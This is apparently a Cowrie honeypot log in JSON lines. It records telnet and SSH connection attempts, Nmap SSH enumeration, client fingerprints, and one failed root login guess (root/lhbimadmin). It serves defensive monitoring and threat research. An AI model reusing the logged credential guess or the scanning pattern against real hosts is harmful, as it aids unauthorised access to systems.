{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"0741e83bbd72","protocol":"telnet","message":"New connection: 172.81.62.90:52516 (159.203.135.109:23) [session: 0741e83bbd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:28:16.668424Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41534,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bb5a4f0f1c","protocol":"telnet","message":"New connection: 172.81.62.90:41534 (159.203.135.109:23) [session: 90bb5a4f0f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:28:36.630773Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9983cd6eda5","protocol":"telnet","message":"New connection: 128.199.8.54:60884 (159.203.135.109:23) [session: d9983cd6eda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:28:39.791444Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33378,"dst_ip":"159.203.135.109","dst_port":23,"session":"a89ef4936151","protocol":"telnet","message":"New connection: 128.199.8.54:33378 (159.203.135.109:23) [session: a89ef4936151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:28:41.808717Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39538,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b1360bd9201","protocol":"telnet","message":"New connection: 172.81.62.90:39538 (159.203.135.109:23) [session: 4b1360bd9201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:28:42.692497Z"}
{"eventid":"cowrie.session.closed","duration":36.98672127723694,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:28:53.655047Z","src_ip":"172.81.62.90","session":"0741e83bbd72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47252,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2de731e036","protocol":"telnet","message":"New connection: 128.199.8.54:47252 (159.203.135.109:23) [session: 7f2de731e036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:29:04.147831Z"}
{"eventid":"cowrie.session.closed","duration":35.53713297843933,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:29:12.167692Z","src_ip":"172.81.62.90","session":"90bb5a4f0f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.58021593093872,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:29:20.272616Z","src_ip":"172.81.62.90","session":"4b1360bd9201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.60299873352051,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:29:33.411606Z","src_ip":"128.199.8.54","session":"a89ef4936151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.93633151054382,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:29:50.084038Z","src_ip":"128.199.8.54","session":"7f2de731e036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.77516674995422,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:19.566492Z","src_ip":"128.199.8.54","session":"d9983cd6eda5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":45296,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9d526e8322","protocol":"ssh","message":"New connection: 34.77.194.114:45296 (159.203.135.109:22) [session: cc9d526e8322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:43.162017Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:43.243524Z","src_ip":"34.77.194.114","session":"cc9d526e8322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49794,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a9f9c6af6d4","protocol":"ssh","message":"New connection: 27.71.230.31:49794 (10.17.0.5:22) [session: 9a9f9c6af6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:46.191245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:46.197152Z","src_ip":"27.71.230.31","session":"9a9f9c6af6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:46.464635Z","src_ip":"27.71.230.31","session":"9a9f9c6af6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53074,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4fac11fc085","protocol":"telnet","message":"New connection: 128.199.8.54:53074 (159.203.135.109:23) [session: d4fac11fc085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:46.638975Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"lhbimadmin","message":"login attempt [root/lhbimadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:50.118659Z","src_ip":"27.71.230.31","session":"9a9f9c6af6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:30:52.207213Z","src_ip":"27.71.230.31","session":"9a9f9c6af6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":46984,"dst_ip":"159.203.135.109","dst_port":22,"session":"586ad31f2ee1","protocol":"ssh","message":"New connection: 34.77.194.114:46984 (159.203.135.109:22) [session: 586ad31f2ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.084129Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0cf820a04b4","protocol":"ssh","message":"New connection: 34.77.194.114:46986 (159.203.135.109:22) [session: a0cf820a04b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.087772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.362384Z","src_ip":"34.77.194.114","session":"586ad31f2ee1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.473924Z","src_ip":"34.77.194.114","session":"a0cf820a04b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.478515Z","src_ip":"34.77.194.114","session":"a0cf820a04b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.615993Z","src_ip":"34.77.194.114","session":"586ad31f2ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.646039Z","src_ip":"34.77.194.114","session":"586ad31f2ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":12914,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2809055efee","protocol":"ssh","message":"New connection: 34.77.194.114:12914 (159.203.135.109:22) [session: e2809055efee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:11.936039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:12.278773Z","src_ip":"34.77.194.114","session":"e2809055efee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:12.429174Z","src_ip":"34.77.194.114","session":"e2809055efee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:12.434078Z","src_ip":"34.77.194.114","session":"e2809055efee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":12922,"dst_ip":"159.203.135.109","dst_port":22,"session":"8be9b885d857","protocol":"ssh","message":"New connection: 34.77.194.114:12922 (159.203.135.109:22) [session: 8be9b885d857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:12.689954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:12.947416Z","src_ip":"34.77.194.114","session":"8be9b885d857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:13.077180Z","src_ip":"34.77.194.114","session":"8be9b885d857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:13.453853Z","src_ip":"34.77.194.114","session":"8be9b885d857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":12926,"dst_ip":"159.203.135.109","dst_port":22,"session":"a88ff840efee","protocol":"ssh","message":"New connection: 34.77.194.114:12926 (159.203.135.109:22) [session: a88ff840efee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:13.529492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:13.681418Z","src_ip":"34.77.194.114","session":"a88ff840efee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:13.757164Z","src_ip":"34.77.194.114","session":"a88ff840efee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:13.960088Z","src_ip":"34.77.194.114","session":"a88ff840efee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":12934,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e19d1179037","protocol":"ssh","message":"New connection: 34.77.194.114:12934 (159.203.135.109:22) [session: 9e19d1179037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.034785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.171511Z","src_ip":"34.77.194.114","session":"9e19d1179037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.246297Z","src_ip":"34.77.194.114","session":"9e19d1179037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.258569Z","src_ip":"34.77.194.114","session":"9e19d1179037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":12950,"dst_ip":"159.203.135.109","dst_port":22,"session":"f247f9f4de8d","protocol":"ssh","message":"New connection: 34.77.194.114:12950 (159.203.135.109:22) [session: f247f9f4de8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.411664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.513177Z","src_ip":"34.77.194.114","session":"f247f9f4de8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.587938Z","src_ip":"34.77.194.114","session":"f247f9f4de8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.593424Z","src_ip":"34.77.194.114","session":"f247f9f4de8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.194.114","src_port":12962,"dst_ip":"159.203.135.109","dst_port":22,"session":"02833ed497b6","protocol":"ssh","message":"New connection: 34.77.194.114:12962 (159.203.135.109:22) [session: 02833ed497b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.757288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.850451Z","src_ip":"34.77.194.114","session":"02833ed497b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:14.924900Z","src_ip":"34.77.194.114","session":"02833ed497b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:15.123969Z","src_ip":"34.77.194.114","session":"02833ed497b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.388341665267944,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:35.027205Z","src_ip":"128.199.8.54","session":"d4fac11fc085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.237.123.203","src_port":49272,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b2d83bf530","protocol":"telnet","message":"New connection: 135.237.123.203:49272 (159.203.135.109:23) [session: 12b2d83bf530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:38.637961Z"}
{"eventid":"cowrie.session.closed","duration":10.046910285949707,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:48.684728Z","src_ip":"135.237.123.203","session":"12b2d83bf530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.237.123.203","src_port":46380,"dst_ip":"159.203.135.109","dst_port":23,"session":"177b9b7c5f6b","protocol":"telnet","message":"New connection: 135.237.123.203:46380 (159.203.135.109:23) [session: 177b9b7c5f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:48.692419Z"}
{"eventid":"cowrie.session.closed","duration":0.023010969161987305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:31:48.715286Z","src_ip":"135.237.123.203","session":"177b9b7c5f6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48414,"dst_ip":"159.203.135.109","dst_port":22,"session":"406fc2f45176","protocol":"ssh","message":"New connection: 27.71.230.31:48414 (159.203.135.109:22) [session: 406fc2f45176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:09.947660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:10.095109Z","src_ip":"27.71.230.31","session":"406fc2f45176","protocol":"ssh"}
